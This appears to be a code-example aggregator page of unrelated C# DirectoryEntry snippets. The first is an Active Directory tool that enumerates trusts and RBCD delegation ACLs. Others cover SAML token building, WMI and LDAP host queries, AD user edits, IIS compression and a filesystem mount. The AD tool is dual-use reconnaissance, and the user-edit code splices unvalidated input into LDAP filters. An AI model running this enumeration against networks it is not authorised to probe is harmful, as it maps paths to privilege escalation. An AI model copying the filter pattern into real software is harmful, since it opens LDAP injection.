                { "u|username="******"Username to authenticate as", v => username = v },
                { "p|password="******"Password for the user", v => password = v },
                { "d|domain=", "Fully qualified domain name to authenticate to", v => domain = v },
                { "s|searchforest", "Enumerate all domains and forests", v => searchForest = true },
                { "f|outputfile=", "Output to a CSV file. Please provided full path to file and file name.", v => outputfile = v },
                { "i|insecure", "Force insecure LDAP connect if LDAPS is causing connection issues.", v => ldapInSecure = true },
                { "pwdlastset=", "Filter computers based on pwdLastSet to remove stale computer objects. If you set this to 90, it will filter out computer objects whose pwdLastSet date is more than 90 days ago", (int v) => computerDate = v },
                { "uo|userobject=", "Granular search for a single user object using samaccountname", v => userobject = v },
                { "go|groupobject=", "Granular search for a single group object using samaccountname", v => groupobject = v },
                { "h|?|help", "Show this help", v => help = true }
            };

            string           currentDomain = null;
            string           searchBase    = null;
            DirectoryEntry   adEntry       = null;
            DirectoryContext domainContext = null;

            try
            {
                options.Parse(args);
                if (help)
                {
                    options.WriteOptionDescriptions(Console.Out);
                    System.Environment.Exit(1);
                }

                //Get the domain to use for authentication / enumeration
                if (domain != null)
                {
                    Console.WriteLine(format: "Using the specified domain {0}", domain);
                    currentDomain = domain;
                }
                else
                {
                    try
                    {
                        currentDomain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().ToString();
                        Console.WriteLine("This is the current domain: " + currentDomain);
                    }
                    catch
                    {
                        Console.WriteLine("Unable to get domain from current user context. Please specify domain to user");
                        System.Environment.Exit(1);
                    }
                }
                // Set the search base after the domain is confirmed
                searchBase = "LDAP://DC=" + currentDomain.Replace(".", ",DC=");
                Console.WriteLine("The LDAP search base is " + searchBase);

                string ldapConnect = null;
                if (ldapInSecure)
                {
                    ldapConnect = "LDAP://" + currentDomain;
                }
                else
                {
                    ldapConnect = "LDAP://" + currentDomain + ":636";
                    Console.WriteLine(ldapConnect);
                }

                // Authenticate the user
                if (username != null && password != null)
                {
                    Console.WriteLine(format: "Credential information submitted. Attempting to authenticate to {0} as {1}", currentDomain, username);
                    Test_Credentials(username, password, currentDomain);
                    adEntry       = new DirectoryEntry(ldapConnect, username, password);
                    domainContext = new DirectoryContext(DirectoryContextType.Domain, currentDomain, username, password);
                }
                else
                {
                    adEntry       = new DirectoryEntry(ldapConnect);
                    domainContext = new DirectoryContext(DirectoryContextType.Domain, currentDomain);
                }

                // Enumerate the current domain or all trusted domains
                if (searchForest)
                {
                    Console.WriteLine("You want to search all trusted domains and forests!");

                    //Get the current forest
                    string targetForest  = Domain.GetDomain(domainContext).Forest.ToString();
                    var    forestContext = new DirectoryContext(DirectoryContextType.Forest, targetForest, username, password);
                    var    currentForest = Forest.GetForest(forestContext);
                    Console.WriteLine("The current forest is: " + currentForest);

                    //store all the domains enumerated through trusts
                    List <string> domainTrustArray = new List <string>();
                    domainTrustArray.Add(currentDomain);
                    //get all domain trusts
                    var domainTrusts = Domain.GetDomain(domainContext).GetAllTrustRelationships();
                    Console.WriteLine("\nEnumerating all domain trusts...");
                    foreach (TrustRelationshipInformation trust in domainTrusts)
                    {
                        // Only add trusts that are Bi or outbound so you can actually communicate with them
                        if ((trust.TrustDirection == TrustDirection.Bidirectional) || (trust.TrustDirection == TrustDirection.Outbound))
                        {
                            Console.WriteLine(trust.TargetName + " " + trust.TrustType + " " + trust.TrustDirection);
                            // If a forest trust is found, try and enumerate that forest trust further?
                            if (trust.TrustType == TrustType.Forest)
                            {
                                DirectoryContext rootDomainContext;
                                Domain           rootDomain;
                                TrustRelationshipInformationCollection forestTrusts;


                                rootDomainContext = new DirectoryContext(DirectoryContextType.Domain, trust.TargetName);
                                rootDomain        = Domain.GetDomain(rootDomainContext);
                                forestTrusts      = rootDomain.GetAllTrustRelationships();
                                foreach (TrustRelationshipInformation forestTrust in forestTrusts)
                                {
                                    if ((forestTrust.TrustType == TrustType.ParentChild) && ((forestTrust.TrustDirection == TrustDirection.Bidirectional) || (forestTrust.TrustDirection == TrustDirection.Outbound)))
                                    {
                                        Console.WriteLine(trust.TargetName + " " + trust.TrustType + " " + trust.TrustDirection);
                                        domainTrustArray.Add(forestTrust.TargetName);
                                    }
                                }
                            }
                            else
                            {
                                domainTrustArray.Add(trust.TargetName);
                            }
                        }
                    }

                    //start getting all forest trusts
                    Console.WriteLine("\nEnumerating all trusted forests...");
                    foreach (TrustRelationshipInformation trust in currentForest.GetAllTrustRelationships())
                    {
                        // Only add trusts that are Bi or outbound so you can actually communicate with them
                        if ((trust.TrustDirection == TrustDirection.Bidirectional) || (trust.TrustDirection == TrustDirection.Outbound))
                        {
                            Console.WriteLine(trust.TargetName + " " + trust.TrustType + " " + trust.TrustDirection);
                            // If a forest trust is found, try and enumerate that forest trust further?
                            if (trust.TrustType == TrustType.Forest)
                            {
                                DirectoryContext rootDomainContext;
                                Domain           rootDomain;
                                TrustRelationshipInformationCollection forestTrusts;


                                rootDomainContext = new DirectoryContext(DirectoryContextType.Domain, trust.TargetName);
                                rootDomain        = Domain.GetDomain(rootDomainContext);
                                forestTrusts      = rootDomain.GetAllTrustRelationships();
                                foreach (TrustRelationshipInformation forestTrust in forestTrusts)
                                {
                                    if ((forestTrust.TrustType == TrustType.ParentChild) && ((forestTrust.TrustDirection == TrustDirection.Bidirectional) || (forestTrust.TrustDirection == TrustDirection.Outbound)))
                                    {
                                        Console.WriteLine(trust.TargetName + " " + trust.TrustType + " " + trust.TrustDirection);
                                        domainTrustArray.Add(forestTrust.TargetName);
                                    }
                                }
                            }
                            else
                            {
                                domainTrustArray.Add(trust.TargetName);
                            }
                        }
                    }

                    //Set the variables needed to store users, groups, and domains
                    SearchResultCollection aclResults = null;
                    var                 allSids       = new List <string>();
                    List <sidMap>       sidMapList    = new List <sidMap>();
                    List <SearchResult> resultList    = new List <SearchResult>();
                    List <rbcd>         rbcdList      = new List <rbcd>();

                    //Enumerate through each domain discovered through trust relationships
                    Console.WriteLine(format: "\n{0} domains found. Listing domains", domainTrustArray.Count);

                    foreach (string trustedDomain in domainTrustArray)
                    {
                        Console.WriteLine(trustedDomain);

                        currentDomain = null;
                        currentDomain = trustedDomain;
                        //add if statement to see if username and password were supplied?
                        if (username != null && password != null)
                        {
                            adEntry = new DirectoryEntry("LDAP://" + currentDomain, username, password);
                        }
                        else
                        {
                            adEntry = new DirectoryEntry("LDAP://" + currentDomain);
                        }


                        if (userobject != null)
                        {
                            Get_Users(adEntry, sidMapList, allSids, currentDomain, userobject);
                        }
                        else if (groupobject != null)
                        {
                            Get_Groups(adEntry, sidMapList, allSids, currentDomain, groupobject);
                        }
                        else
                        {
                            Get_Users(adEntry, sidMapList, allSids, currentDomain, userobject);
                            Get_Groups(adEntry, sidMapList, allSids, currentDomain, groupobject);
                        }
                        aclResults = Get_Computers(adEntry, sidMapList, allSids, currentDomain, aclResults, computerDate);


                        foreach (SearchResult acl in aclResults)
                        {
                            resultList.Add(acl);
                        }
                    }

                    Get_RBCD_ACLs(resultList, rbcdList, allSids, sidMapList);
                    if (outputfile != null)
                    {
                        bool saved = ExportCsv(rbcdList, outputfile);
                        if (!saved)
                        {
                            Console.WriteLine("\nUnable to save file. Printing to console instead.\n");
                            Print_Acls(rbcdList);
                        }
                    }
                    else
                    {
                        Print_Acls(rbcdList);
                    }
                }
                else
                {
                    Console.WriteLine("Only searching current domain.");
                    var                    allSids    = new List <string>();
                    List <sidMap>          sidMapList = new List <sidMap>();
                    SearchResultCollection aclResults = null;
                    List <rbcd>            rbcdList   = new List <rbcd>();
                    List <SearchResult>    resultList = new List <SearchResult>();

                    if (userobject != null)
                    {
                        Get_Users(adEntry, sidMapList, allSids, currentDomain, userobject);
                    }
                    else if (groupobject != null)
                    {
                        Get_Groups(adEntry, sidMapList, allSids, currentDomain, groupobject);
                    }
                    else
                    {
                        Get_Users(adEntry, sidMapList, allSids, currentDomain, userobject);
                        Get_Groups(adEntry, sidMapList, allSids, currentDomain, groupobject);
                    }

                    aclResults = Get_Computers(adEntry, sidMapList, allSids, currentDomain, aclResults, computerDate);

                    foreach (SearchResult acl in aclResults)
                    {
                        resultList.Add(acl);
                    }

                    Get_RBCD_ACLs(resultList, rbcdList, allSids, sidMapList);

                    if (outputfile != null)
                    {
                        bool saved = ExportCsv(rbcdList, outputfile);

                        if (!saved)
                        {
                            Console.WriteLine("\nUnable to save file. Printing to console instead.\n");
                            Print_Acls(rbcdList);
                        }
                    }
                    else
                    {
                        Print_Acls(rbcdList);
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(" [x] {0}", e.Message);
            }

            Console.WriteLine("Execution time = {0} seconds", stopWatch.Elapsed.TotalSeconds);
        }
    private string CreateSamlAssertion()
    {
        // Get the user ID from the querystring and save it in a local variable.
        string sUid =
            Request.QueryString.Get(Constants.QSPARAM_SAMLBRIDGEDECOUPLEDREDIRECTASPX_UID);

        // Look up the specified UID in the local SDS.
        DirectoryEntry deNhsPerson = GetLocalSDSEntry(sUid);

        // If the user could not be located in the local SDS, return immediately.
        if (deNhsPerson == null)
        {
            return(null);
        }

        // Create an attribute collection from which to build the SAML assertion.
        Collection <Fujitsu.SamlBridge.Transformation.Token.Attribute> collSamlAttributes =
            new Collection <Fujitsu.SamlBridge.Transformation.Token.Attribute>();

        // Add a UID attribute to the attribute collection.
        collSamlAttributes.Add(
            new Fujitsu.SamlBridge.Transformation.Token.Attribute(
                Constants.SAMLATTR_UID, sUid));

        // Get the nhsPerson object's property collection.
        PropertyCollection pcollNhsPersonProperties = deNhsPerson.Properties;

        // Get the values of the nhsPerson object's nhsOcsPrCode property.
        PropertyValueCollection pvcollNhsPersonOcsPrCode = (PropertyValueCollection)
                                                           (pcollNhsPersonProperties[Constants.SDSPROP_NHS_OCS_PR_CODE]);

        // Create SAML attributes for the nhsOcsPrCode property values.
        AddSamlAttributes(
            collSamlAttributes, Constants.SAMLATTR_NHS_OCS_PR_CODE, pvcollNhsPersonOcsPrCode);

        // Get the child of the nhsPerson object - this is the nhsOrgPerson object.
        IEnumerator ienumNhsPersonChildren = deNhsPerson.Children.GetEnumerator();

        DirectoryEntry deNhsOrgPerson = null;

        if (ienumNhsPersonChildren.MoveNext())
        {
            deNhsOrgPerson = (DirectoryEntry)ienumNhsPersonChildren.Current;

            PropertyCollection pcollNhsOrgPersonProperties = deNhsOrgPerson.Properties;

            // Get the value of the nhsOrgPerson object's nhsIdCode property.
            PropertyValueCollection pvcollNhsOrgPersonNhsIdCode = (PropertyValueCollection)
                                                                  (pcollNhsOrgPersonProperties[Constants.SDSPROP_NHS_ID_CODE]);

            // Create SAML attributes for the nhsIdCode property values.
            AddSamlAttributes(
                collSamlAttributes,
                Constants.SAMLATTR_NHS_ID_CODE,
                pvcollNhsOrgPersonNhsIdCode);

            // Get the child of the nhsOrgPerson object - this is the nhsOrgPersonRole object.
            IEnumerator ienumNhsOrgPersonChildren = deNhsOrgPerson.Children.GetEnumerator();

            DirectoryEntry deNhsOrgPersonRole = null;
            if (ienumNhsOrgPersonChildren.MoveNext())
            {
                deNhsOrgPersonRole = (DirectoryEntry)ienumNhsOrgPersonChildren.Current;

                PropertyCollection pcollNhsOrgPersonRoleProperties =
                    deNhsOrgPersonRole.Properties;

                // Get the value of the nhsOrgPersonRole object's nhsAreaOfWork property.
                PropertyValueCollection pvcollNhsOrgPersonRoleNhsAreaOfWork =
                    (PropertyValueCollection)
                    (pcollNhsOrgPersonRoleProperties[Constants.SDSPROP_NHS_AREA_OF_WORK]);

                // Create SAML attributes for the nhsAreaOfWork property values.
                AddSamlAttributes(
                    collSamlAttributes,
                    Constants.SAMLATTR_NHS_AREA_OF_WORK,
                    pvcollNhsOrgPersonRoleNhsAreaOfWork);

                // Get the value of the nhsOrgPersonRole object's nhsJobRole property.
                PropertyValueCollection pvcollNhsOrgPersonRoleNhsJobRole =
                    (PropertyValueCollection)
                    (pcollNhsOrgPersonRoleProperties[Constants.SDSPROP_NHS_JOB_ROLE]);

                // Create SAML attributes for the nhsJobRole property values.
                AddSamlAttributes(
                    collSamlAttributes,
                    Constants.SAMLATTR_NHS_JOB_ROLE,
                    pvcollNhsOrgPersonRoleNhsJobRole);
            }
        }

        // Use the SAML factory to create the SAML token.
        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            System.Diagnostics.Trace.Write(Constants.TRCI_CREATING_SAML_TOKEN);
        }

        XmlDocument token = Fujitsu.SamlBridge.Transformation.Token.SamlFactory.Create(
            new Uri(this.FederationRealm),
            new Uri((string)s_appsr.GetValue(Constants.APPKEY_ACCOUNT_URI, typeof(string))),
            (string)s_appsr.GetValue(Constants.APPKEY_AUTHENTICATION_METHOD, typeof(string)),
            sUid,
            collSamlAttributes,
            (string)s_appsr.GetValue(
                Constants.APPKEY_ACCOUNT_SIGNING_CERTIFICATE, typeof(string)),
            (long)s_appsr.GetValue(Constants.APPKEY_TOKEN_LIFETIME_IN_SECONDS, typeof(long)));

        string sSamlToken = token.OuterXml;

        if (Fujitsu.SamlBridge.Trace.s_trswSamlBridgePath.TraceInfo)
        {
            System.Diagnostics.Trace.Write(Constants.TRCI_CREATED_SAML_TOKEN, sSamlToken);
        }

        return(sSamlToken);
    }
Ejemplo n.º 36
0
        private void GetPCInfo()
        {
            Dispatcher.Invoke(new Action(() => { dgStats.Items.Clear(); }));

            string pcName           = "";
            string pcCaption        = "";
            string OSVersion        = "";
            string pcLastBootUpTime = "";
            string pcInstallDate    = "";
            string pcSize           = "";
            string pcFreeSpace      = "";
            string pcLastLogon      = "";
            string pcDomain         = "";
            string pcModel          = "";
            Int64  x = 0;
            Int64  y = 0;
            Int64  z = 0;

            using (PowerShell PowerShellInstance = PowerShell.Create())
            {
                PowerShellInstance.AddScript("param($pcName) Get-WmiObject win32_operatingsystem -ComputerName $pcName | select Version,CSName,BuildNumber,OSProductSuite,OSType,Caption, @{LABEL='LastBootUpTime'; EXPRESSION ={$_.ConverttoDateTime($_.lastbootuptime)}}, @{LABEL='InstallDate'; EXPRESSION ={$_.ConverttoDateTime($_.InstallDate)}}");
                PowerShellInstance.AddParameter("pcName", strComputer);

                try
                {
                    Collection <PSObject> PSOutput = PowerShellInstance.Invoke();

                    foreach (PSObject outputItem in PSOutput)
                    {
                        if (outputItem != null)
                        {
                            //TODO: do something with the output item
                            pcName           = outputItem.Properties["CSName"].Value.ToString();
                            pcCaption        = outputItem.Properties["Caption"].Value.ToString();
                            OSVersion        = outputItem.Properties["Version"].Value.ToString();
                            pcLastBootUpTime = outputItem.Properties["LastBootUpTime"].Value.ToString();
                            pcInstallDate    = outputItem.Properties["InstallDate"].Value.ToString();
                        }
                    }
                }
                catch (Exception)
                {
                    pcSize      = "No Access";
                    pcFreeSpace = "No Access";
                }

                string psFilter = "Caption like 'C:'";
                PowerShellInstance.AddScript("param($pcName) Get-WmiObject Win32_LogicalDisk -ComputerName $pcName -filter " + '"' + psFilter + '"' + " | Select-Object Size,FreeSpace");
                PowerShellInstance.AddParameter("pcName", strComputer);

                try
                {
                    Collection <PSObject> PSOutput = PowerShellInstance.Invoke();

                    foreach (PSObject outputItem in PSOutput)
                    {
                        if (outputItem != null)
                        {
                            //TODO: do something with the output item
                            pcSize      = outputItem.Properties["Size"].Value.ToString();
                            pcFreeSpace = outputItem.Properties["FreeSpace"].Value.ToString();

                            x = Convert.ToInt64(pcSize);
                            y = Convert.ToInt64(pcFreeSpace);

                            z = y / (x / 100);

                            x = x / 1024 / 1024 / 1024;
                            y = y / 1024 / 1024 / 1024;

                            pcSize      = x.ToString() + " GB";
                            pcFreeSpace = y.ToString() + " GB (" + z.ToString() + "%)";
                        }
                    }
                }
                catch (Exception)
                {
                    pcSize      = "No Access";
                    pcFreeSpace = "No Access";
                }

                PowerShellInstance.AddScript("param($pcName) Get-WmiObject Win32_ComputerSystem -ComputerName $pcName | Select-Object Domain,Model,UserName");
                PowerShellInstance.AddParameter("pcName", strComputer);

                try
                {
                    Collection <PSObject> PSOutput = PowerShellInstance.Invoke();

                    foreach (PSObject outputItem in PSOutput)
                    {
                        if (outputItem != null)
                        {
                            //TODO: do something with the output item
                            pcLastLogon = outputItem.Properties["UserName"].Value.ToString();
                            pcDomain    = outputItem.Properties["Domain"].Value.ToString();
                            pcModel     = outputItem.Properties["Model"].Value.ToString();
                        }
                    }
                }
                catch (Exception)
                {
                    pcLastLogon = "No Access";
                }
            }

            DirectoryEntry    entry      = new DirectoryEntry("LDAP://AD001.SIEMENS.NET");
            DirectorySearcher mySearcher = new DirectorySearcher(entry);

            mySearcher.Filter    = ("(&(objectCategory=computer)(name=" + strComputer + "))");
            mySearcher.SizeLimit = int.MaxValue;
            mySearcher.PageSize  = int.MaxValue;
            string ComputerName = "";

            foreach (SearchResult resEnt in mySearcher.FindAll())
            {
                //"CN=SGSVG007DC"
                ComputerName = resEnt.GetDirectoryEntry().Name;
            }

            switch (OSVersion)
            {
            case "10.0.10240":
                OSVersion = "1507";
                break;

            case "10.0.10586":
                OSVersion = "1511";
                break;

            case "10.0.14393":
                OSVersion = "1607";
                break;

            case "10.0.15063":
                OSVersion = "1703";
                break;

            case "10.0.16299":
                OSVersion = "1709";
                break;

            case "10.0.17134":
                OSVersion = "1803";
                break;

            case "10.0.17763":
                OSVersion = "1809";
                break;

            case "10.0.18353":
                OSVersion = "1903";
                break;

            case "10.0.18362":
                OSVersion = "1909";
                break;

            default:
                break;
            }

            Dispatcher.Invoke(new Action(() => {
                dgStats.Items.Clear();
                dgStats.Items.Add(new InfoTable {
                    Property = "Name", Value = pcName
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "Last Logon User", Value = pcLastLogon
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "OS", Value = pcCaption
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "OS Version", Value = OSVersion
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "Model", Value = pcModel
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "Install Date", Value = pcInstallDate
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "Last Boot", Value = pcLastBootUpTime
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "Size (C:)", Value = pcSize
                });
                dgStats.Items.Add(new InfoTable {
                    Property = "FreeSpace (C:)", Value = pcFreeSpace
                });
            }));
        }
Ejemplo n.º 37
0
        public StatusInfo SetUser(Person uInfo)
        {
            StatusInfo status = new StatusInfo();

            status.StatusDetail = new List <StatusDetails> {
            };
            {
                DirectoryEntry              ldapConnection       = createDirectoryEntry();
                DirectorySearcher           ldap_searcher        = new DirectorySearcher(ldapConnection);
                WindowsImpersonationContext impersonationContext = null;
                WindowsIdentity             winId = (WindowsIdentity)HttpContext.Current.User.Identity;
                impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                try
                {
                    ldap_searcher.PropertiesToLoad.Add("title");
                    ldap_searcher.PropertiesToLoad.Add("cn");
                    ldap_searcher.PropertiesToLoad.Add("department");
                    ldap_searcher.PropertiesToLoad.Add("manager");
                    ldap_searcher.PropertiesToLoad.Add("telephoneNumber");
                    ldap_searcher.PropertiesToLoad.Add("thumbnailPhoto");
                    ldap_searcher.PropertiesToLoad.Add("physicalDeliveryOfficeName");
                    ldap_searcher.Filter = "(&(samAccountType=805306368)(sAMAccountName=" + uInfo.SAMAccountName + "))";

                    SearchResult l_result = ldap_searcher.FindOne();

                    impersonationContext.Undo();
                    log.Info("" + winId.Name + " is trying to set information for: " + uInfo.SAMAccountName + "");
                    impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                    using (DirectoryEntry employeeToModify = l_result.GetDirectoryEntry())
                    {
                        //save Title
                        if (!string.IsNullOrWhiteSpace(uInfo.Title) && employeeToModify.Properties["title"].Value as string != uInfo.Title)
                        {
                            employeeToModify.Properties["title"].Clear();
                            employeeToModify.Properties["title"].Add(uInfo.Title);
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is trying to set property title for: " + uInfo.SAMAccountName + ": " + uInfo.Title + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        //save Phone Number
                        if (!string.IsNullOrWhiteSpace(uInfo.Telephone) && employeeToModify.Properties["telephoneNumber"].Value as string != uInfo.Telephone)
                        {
                            employeeToModify.Properties["telephoneNumber"].Clear();
                            employeeToModify.Properties["telephoneNumber"].Add(uInfo.Telephone);
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is trying to set property telephoneNumber for: " + uInfo.SAMAccountName + ": " + uInfo.Telephone + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        //save Departament
                        if (!string.IsNullOrWhiteSpace(uInfo.Department) && employeeToModify.Properties["department"].Value as string != uInfo.Department)
                        {
                            employeeToModify.Properties["department"].Clear();
                            employeeToModify.Properties["department"].Add(uInfo.Department);
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is trying to set property department for: " + uInfo.SAMAccountName + ": " + uInfo.Department + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        //get Office Location
                        if (!string.IsNullOrWhiteSpace(uInfo.Office) && employeeToModify.Properties["physicalDeliveryOfficeName"].Value as string != uInfo.Office)
                        {
                            employeeToModify.Properties["physicalDeliveryOfficeName"].Clear();
                            employeeToModify.Properties["physicalDeliveryOfficeName"].Add(uInfo.Office);
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is trying to set property physicalDeliveryOfficeName for: " + uInfo.SAMAccountName + ": " + uInfo.Office + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        //save new direct report
                        if (uInfo.NewDirects.Count > 0)
                        {
                            foreach (string newdirect in uInfo.NewDirects)
                            {
                                try
                                {
                                    ldap_searcher.Filter = "(&(samAccountType=805306368)(sAMAccountName=" + newdirect + "))";
                                    SearchResult newdirect_result = ldap_searcher.FindOne();
                                    using (DirectoryEntry newdirectToModify = newdirect_result.GetDirectoryEntry())
                                    {
                                        newdirectToModify.Properties["manager"].Clear();
                                        newdirectToModify.Properties["manager"].Add(uInfo.DistinguishedName);
                                        impersonationContext.Undo();
                                        log.Info("" + winId.Name + " is trying to set property manager for: " + newdirect + ": " + uInfo.DistinguishedName + "");
                                        impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                                        newdirectToModify.CommitChanges();
                                        //get names
                                        string newdirectcn    = newdirectToModify.Properties["cn"].Value.ToString();
                                        string newmanagername = newmanagername = uInfo.DistinguishedName.Replace("CN=", "");
                                        newmanagername = newmanagername.TrimEnd(',');
                                        newmanagername = newmanagername.Replace("\\, ", ", ");
                                        newmanagername = newmanagername.Split(',')[0];
                                        //generate status alerts
                                        status.StatusDetail.Add(new StatusDetails
                                        {
                                            StatusDescType = "success",
                                            StatusDesc     = "Successfully changed " + newdirectcn + " manager to: " + newmanagername + "",
                                            StatusReal     = ""
                                        });
                                    }
                                }
                                catch (Exception ex)
                                {
                                    //generate status alerts
                                    status.StatusDetail.Add(new StatusDetails
                                    {
                                        StatusDescType = "warning",
                                        StatusDesc     = "Errors changing " + newdirect + " manager to: " + uInfo.DistinguishedName + "",
                                        StatusReal     = ex.Message
                                    });
                                    impersonationContext.Undo();
                                    log.Info("" + winId.Name + " had error trying to set property manager for: " + newdirect + ": " + uInfo.DistinguishedName + " - " + ex + "");
                                    impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                                }
                            }
                        }
                        //save new manager
                        if (!string.IsNullOrWhiteSpace(uInfo.ManagerDistinguishedName) && employeeToModify.Properties["manager"].Value as string != uInfo.ManagerDistinguishedName)
                        {
                            employeeToModify.Properties["manager"].Clear();
                            employeeToModify.Properties["manager"].Add(uInfo.ManagerDistinguishedName);
                            impersonationContext.Undo();
                            log.Info("" + winId.Name + " is trying to set property manager for: " + uInfo.SAMAccountName + ": " + uInfo.ManagerDistinguishedName + "");
                            impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                        }
                        //save thumbnail photo
                        if (!string.IsNullOrWhiteSpace(uInfo.ThumbnailPhoto) && employeeToModify.Properties["thumbnailPhoto"].Value as string != uInfo.ThumbnailPhoto || (uInfo.DeleteThumbnailPhoto))
                        {
                            if (!uInfo.DeleteThumbnailPhoto && !uInfo.ThumbnailPhoto.Contains("default-user-profile.png"))
                            {
                                var jsonbaseimage      = uInfo.ThumbnailPhoto.Remove(0, 23);
                                var newthumbnailbinary = Convert.FromBase64String(jsonbaseimage);

                                employeeToModify.Properties["thumbnailPhoto"].Clear();
                                employeeToModify.Properties["thumbnailPhoto"].Insert(0, newthumbnailbinary);
                                impersonationContext.Undo();
                                log.Info("" + winId.Name + " is trying to set property thumbnailPhoto for: " + uInfo.SAMAccountName + "");
                                impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                            }
                            if (uInfo.DeleteThumbnailPhoto)
                            {
                                employeeToModify.Properties["thumbnailPhoto"].Clear();
                                impersonationContext.Undo();
                                log.Info("" + winId.Name + " is trying to clear property thumbnailPhoto for: " + uInfo.SAMAccountName + "");
                                impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                            }
                        }
                        //save all info
                        employeeToModify.CommitChanges();
                        //email new full name
                        //    if (!string.IsNullOrWhiteSpace(uInfo.newcn))
                        //    {
                        //        SendEmailNameChange(uInfo.cn, uInfo.newcn, uInfo.sAMAccountName);
                        //        log.Info("" + winId.Name + " is requesting " + uInfo.sAMAccountName + "'s name change to: " + uInfo.newcn + "");
                        //    }
                        status.Type    = "success";
                        status.Message = "" + uInfo.SAMAccountName + "'s Information Updated";
                        impersonationContext.Undo();
                        log.Info("" + winId.Name + " has successfully updated information for: " + uInfo.SAMAccountName + "");
                        impersonationContext = WindowsIdentity.Impersonate(winId.Token);
                    }
                }

                catch (Exception ex)
                {
                    status.Type    = "error";
                    status.Message = ex.Message;
                    impersonationContext.Undo();
                    log.Info("" + winId.Name + " has encountered an error: " + ex.Message + "");
                }
                finally
                {
                    ldapConnection.Dispose();
                    ldap_searcher.Dispose();
                    winId.Dispose();
                    if (impersonationContext != null)
                    {
                        impersonationContext.Undo();
                        impersonationContext.Dispose();
                    }
                }
                return(status);
            }
        }
Ejemplo n.º 38
0
        internal static void SetIisGzipLevel(string site, GzipLevel gzipLevel)
        {
            if (gzipLevel == GzipLevel.Off)
            {
                return;
            }
            string str   = site + "/W3SVC";
            bool   flag  = gzipLevel == GzipLevel.High;
            bool   flag2 = true;
            bool   flag3 = true;

            string[] array = new string[]
            {
                "htm",
                "html",
                "txt",
                "htc",
                "css",
                "js",
                "xsl",
                "docx",
                "doc",
                "xlsx",
                "xls",
                "pptx",
                "ppt",
                "mdb"
            };
            string[] array2 = new string[]
            {
                "owa",
                "aspx",
                "eas"
            };
            string[] array3 = new string[]
            {
                "ashx"
            };
            int  num   = 10;
            int  num2  = 3;
            bool flag4 = false;
            bool flag5 = false;
            bool flag6 = false;

            using (DirectoryEntry directoryEntry = IisUtility.CreateIISDirectoryEntry(str + "/Filters/Compression/gzip"))
            {
                if (gzipLevel == GzipLevel.High)
                {
                    IisUtility.SetProperty(directoryEntry, "HCDoDynamicCompression", flag, true);
                }
                IisUtility.SetProperty(directoryEntry, "HCDoStaticCompression", flag2, true);
                IisUtility.SetProperty(directoryEntry, "HCDoOnDemandCompression", flag3, true);
                for (int i = 0; i < array.Length; i++)
                {
                    IisUtility.SetProperty(directoryEntry, "HCFileExtensions", array[i], i == 0);
                }
                IList list = null;
                if (directoryEntry.Properties.Contains("HCScriptFileExtensions"))
                {
                    list = directoryEntry.Properties["HCScriptFileExtensions"];
                }
                for (int j = 0; j < array2.Length; j++)
                {
                    bool flag7 = false;
                    if (list != null)
                    {
                        for (int k = 0; k < list.Count; k++)
                        {
                            if (list[k] is string && string.Equals(array2[j], (string)list[k], StringComparison.OrdinalIgnoreCase))
                            {
                                flag7 = true;
                                break;
                            }
                        }
                    }
                    if (!flag7)
                    {
                        IisUtility.SetProperty(directoryEntry, "HCScriptFileExtensions", array2[j], false);
                    }
                }
                if (list != null)
                {
                    for (int l = 0; l < array3.Length; l++)
                    {
                        for (int m = 0; m < list.Count; m++)
                        {
                            if (list[m] is string && string.Equals(array3[l], (string)list[m], StringComparison.OrdinalIgnoreCase))
                            {
                                list.Remove((string)list[m]);
                                m = -1;
                            }
                        }
                    }
                }
                IisUtility.SetProperty(directoryEntry, "HCOnDemandCompLevel", num, true);
                if (gzipLevel == GzipLevel.High)
                {
                    IisUtility.SetProperty(directoryEntry, "HCDynamicCompressionLevel", num2, true);
                }
                directoryEntry.CommitChanges();
                IisUtility.CommitMetabaseChanges(IisUtility.ServerFromWebSite(site));
            }
            using (DirectoryEntry directoryEntry2 = IisUtility.CreateIISDirectoryEntry(str + "/Filters/Compression/Parameters"))
            {
                IisUtility.SetProperty(directoryEntry2, "HCSendCacheHeaders", flag4, true);
                IisUtility.SetProperty(directoryEntry2, "HCNoCompressionForHTTP10", flag5, true);
                IisUtility.SetProperty(directoryEntry2, "HCNoCompressionForProxies", flag6, true);
                directoryEntry2.CommitChanges();
                IisUtility.CommitMetabaseChanges(IisUtility.ServerFromWebSite(site));
            }
        }
Ejemplo n.º 39
0
 /// <summary>
 /// Connexion à l'active directory
 /// pour vérifier les comptes utilisateurs
 /// qui souhaitent utiliser l'application
 /// </summary>
 /// <param name="messagesi">Message langue</param>
 public LdapAuthentication(Messages messagesi)
 {
     SetMessages(messagesi);
     this.anonymous = false;
     this.de        = null;
 }
Ejemplo n.º 40
0
        /// <summary>
        ///     Mounts an Apple Lisa filesystem
        /// </summary>
        public Errno Mount(IMediaImage imagePlugin, Partition partition, Encoding encoding,
                           Dictionary <string, string> options, string @namespace)
        {
            XmlFsType = new FileSystemType();
            if (options == null)
            {
                options = GetDefaultOptions();
            }
            if (options.TryGetValue("debug", out string debugString))
            {
                bool.TryParse(debugString, out debug);
            }

            // Default namespace
            if (@namespace is null)
            {
